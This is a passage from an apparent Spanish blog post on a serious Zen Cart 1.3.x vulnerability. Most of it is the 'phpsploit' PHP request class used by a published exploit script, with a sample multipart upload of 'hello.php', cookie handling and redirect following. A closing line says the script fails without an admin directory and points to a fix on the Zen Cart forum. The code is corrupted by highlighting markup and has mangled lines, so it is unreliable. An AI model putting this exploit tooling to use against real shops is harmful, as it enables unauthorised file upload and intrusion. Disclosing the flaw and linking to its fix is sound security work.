   *                      frmdt_boundary =&gt; &amp;#39;123456&amp;#39;, # Optional
   *                      &amp;#39;var&amp;#39; =&gt; &amp;#39;example&amp;#39;,
   *                      &amp;#39;file&amp;#39; =&gt; array(
   *                                frmdt_type =&gt; &amp;#39;image/gif&amp;#39;,  # Optional
   *                                frmdt_transfert =&gt; &amp;#39;binary&amp;#39; # Optional
   *                                frmdt_filename =&gt; &amp;#39;hello.php,
   *                                frmdt_content =&gt; &amp;#39;&amp;#39;));
   *          <span style="color: #006699; font-weight: bold;">$this-&gt;formdata</span>(<span style="color: #006699; font-weight: bold;">$formdata</span>);
   * 
   */
  function formdata(<span style="color: #006699; font-weight: bold;">$array</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;target</span>(<span style="color: #006699; font-weight: bold;">$array[frmdt_url]</span>);
    <span style="color: #006699; font-weight: bold;">$this-&gt;method</span> = &amp;#39;formdata&amp;#39;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> = &amp;#39;&amp;#39;;
&nbsp;
    if(!isset(<span style="color: #006699; font-weight: bold;">$array[frmdt_boundary]</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span> = &amp;#39;phpsploit&amp;#39;;
    else
      <span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span> = <span style="color: #006699; font-weight: bold;">$array[frmdt_boundary]</span>;
&nbsp;
    foreach(<span style="color: #006699; font-weight: bold;">$array</span> as <span style="color: #006699; font-weight: bold;">$key</span> =&gt; <span style="color: #006699; font-weight: bold;">$value</span>)
    {
      if(!preg_match(&amp;#39;#^frmdt_(boundary|url)#&amp;#39;,<span style="color: #006699; font-weight: bold;">$key</span>))
      {
        <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> .= str_repeat(&amp;#39;-&amp;#39;,29).<span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
        <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> .= &amp;#39;Content-Disposition: form-data; name=&quot;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;.$key.&amp;#39;&quot;;&amp;#39;;
</span>				
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
          <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$value</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #b1b100;">else</span>
        <span style="color: #009900;">&#123;</span>
          <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39; filename=&quot;&amp;#39;.$array[$key][frmdt_filename].&quot;\&quot;;\r\n&quot;;
</span>
          <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>frmdt_type<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;Content-Type: &amp;#39;.$array[$key][frmdt_type].&quot;\r\n&quot;;
</span>
          <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>frmdt_transfert<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;Content-Transfer-Encoding: &amp;#39;.$array[$key][frmdt_transfert].&quot;\r\n&quot;;
</span>
          <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>frmdt_content<span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;-&amp;#39;,29).$this-&gt;boundary.&quot;--\r\n&quot;;
</span>    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sock</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function returns the content
   * of the server response, without
   * the headers.
   * 
   * @access  public
   * @param   string code ServerResponse
   * @return  string $this-&gt;server_content
   * @example $this-&gt;getcontent()
   * @example $this-&gt;getcontent($this-&gt;get(&amp;#39;http://localhost/&amp;#39;))
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getcontent<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">=&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;)
</span>  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">recv</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_content</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;;
</span>		
    <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> this<span style="color: #339933;">-=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">&gt;</span>server_content <span style="color: #339933;">.=</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_content</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function returns the headers
   * of the server response, without
   * the content.
   * 
   * @access  public
   * @param   string code ServerResponse
   * @return  string $this-&gt;server_header
   * @example $this-&gt;getcontent()
   * @example $this-&gt;getcontent($this-&gt;post(&amp;#39;http://localhost/&amp;#39;,&amp;#39;1=2&amp;#39;))
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getheader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">=&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;)
</span>  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">recv</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_header</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_header</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function is called by the
   * cookiejar() function. It adds the
   * value of the &quot;Set-Cookie&quot; header
   * in the &quot;Cookie&quot; header for the
   * next request. You don&amp;#39;t have to
   * call it.
   * 
   * @access private
   * @param  string code ServerResponse
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getcookie<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getheader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$header</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;/set-cookie/i&amp;#39;,$header))
</span>      <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$fequal</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,&amp;</span><span style="color: #666666; font-style: italic;">#39;=&amp;#39;);
</span>        <span style="color: #000088;">$fvirgu</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,&amp;</span><span style="color: #666666; font-style: italic;">#39;;&amp;#39;);
</span>				
        <span style="color: #666666; font-style: italic;">// 12=strlen(&amp;#39;set-cookie: &amp;#39;)</span>
        <span style="color: #000088;">$cname</span>  <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">12</span><span style="color: #339933;">,</span><span style="color: #000088;">$fequal</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">12</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$cvalu</span>  <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,</span><span style="color: #000088;">$fequal</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #000088;">$fvirgu</span><span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">12</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookie</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cvalu</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function is called by the
   * get()/post() functions. You
   * don&amp;#39;t have to call it.
   *
   * @access  private
   * @param   string urltarg Url
   * @example $this-&gt;target(&amp;#39;http://localhost/&amp;#39;)
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> target<span style="color: #009900;">&#40;</span><span style="color: #000088;">$urltarg</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;^http://&amp;#39;,$urltarg))
</span>      <span style="color: #000088;">$urltarg</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;http://&amp;#39;.$urltarg;
</span>   
    <span style="color: #000088;">$urlarr</span>     <span style="color: #339933;">=</span> <span style="color: #990000;">parse_url</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urltarg</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span>  <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;http://&amp;#39;.$urlarr[&amp;#39;host&amp;#39;].$urlarr[&amp;#39;path&amp;#39;];
</span>		
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;query&amp;#39;]))
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;?&amp;#39;.$urlarr[&amp;#39;query&amp;#39;];
</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">=</span> <span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;port&amp;#39;]) ? $urlarr[&amp;#39;port&amp;#39;] : 80;
</span>    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;host&amp;#39;];
</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">!=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;80&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">host</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;:&amp;#39;.$this-&gt;port;
</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;path&amp;#39;]) or empty($urlarr[&amp;#39;path&amp;#39;]))
</span>      <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Error: No path precised&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">path</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;path&amp;#39;],0,strrpos($urlarr[&amp;#39;path&amp;#39;],&amp;#39;/&amp;#39;)+1);
</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">65535</span><span style="color: #009900;">&#41;</span>
      <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Error: Invalid port number&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * If you call this function,
   * the script will extract all
   * &amp;#39;Set-Cookie&amp;#39; headers values
   * and it will automatically add
   * them into the &amp;#39;Cookie&amp;#39; header
   * for all next requests.
   *
   * @access  public
   * @param   integer code 1(enabled) 0(disabled)
   * @example $this-&gt;cookiejar(0)
   * @example $this-&gt;cookiejar(1)
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> cookiejar<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;0&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookiejar</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;1&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookiejar</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * If you call this function,
   * the script will follow all
   * redirections sent by the server.
   * 
   * @access  public
   * @param   integer code 1(enabled) 0(disabled)
   * @example $this-&gt;allowredirection(0)
   * @example $this-&gt;allowredirection(1)
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> allowredirection<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;0&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">allowredirection</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;1&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">allowredirection</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function is called if
   * allowredirection() is enabled.
   * You don&amp;#39;t have to call it.
   *
   * @access private
   * @return string $this-&gt;get(&amp;#39;http://&amp;#39;.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection)
   * @return string $this-&gt;get($this-&gt;last_redirection)
   * @return string $this-&gt;recv;
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getredirection<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;/(location|content-location|uri): (.*)/i&amp;#39;,$this-&gt;getheader(),$codearr))
</span>    <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">last_redirection</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$codearr</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;://&amp;#39;,$this-&gt;last_redirection))
</span>        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;http://&amp;#39;.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection);
</span>      <span style="color: #b1b100;">else</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">last_redirection</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">else</span>
      <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">recv</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function allows you
   * to reset some parameters.
   * 
   * @access  public
   * @param   string func Param
   * @example $this-&gt;reset(&amp;#39;header&amp;#39;)
   * @example $this-&gt;reset(&amp;#39;cookie&amp;#39;)
   * @example $this-&gt;reset()
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func</span><span style="color: #339933;">=&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;)
</span>  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;header&amp;#39;:
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">header</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #b1b100;">case</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;cookie&amp;#39;:
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookie</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookiejar</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;;
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">header</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookie</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">allowredirection</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;;
</span>        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;&lt;/</span>url<span style="color: #339933;">&gt;&lt;/</span>url<span style="color: #339933;">&gt;</span></pre></div></div>

	<p>Este script no funciona en caso de no encontrar el directorio admin y es por eso que podemos aplicar <strong>la soluci&oacute;n</strong> que se comenta en el <a href="http://www.zen-cart.com/forum/showthread.php?p=762711#post762711" title="Foro Zen Cart">foro de Zen Cart</a>.</p>



Comparte esta entrada:


	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F&amp;t=Zen%20Cart%201.3.x%20-%20Grave%20vulnerabilidad" title="Facebook"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
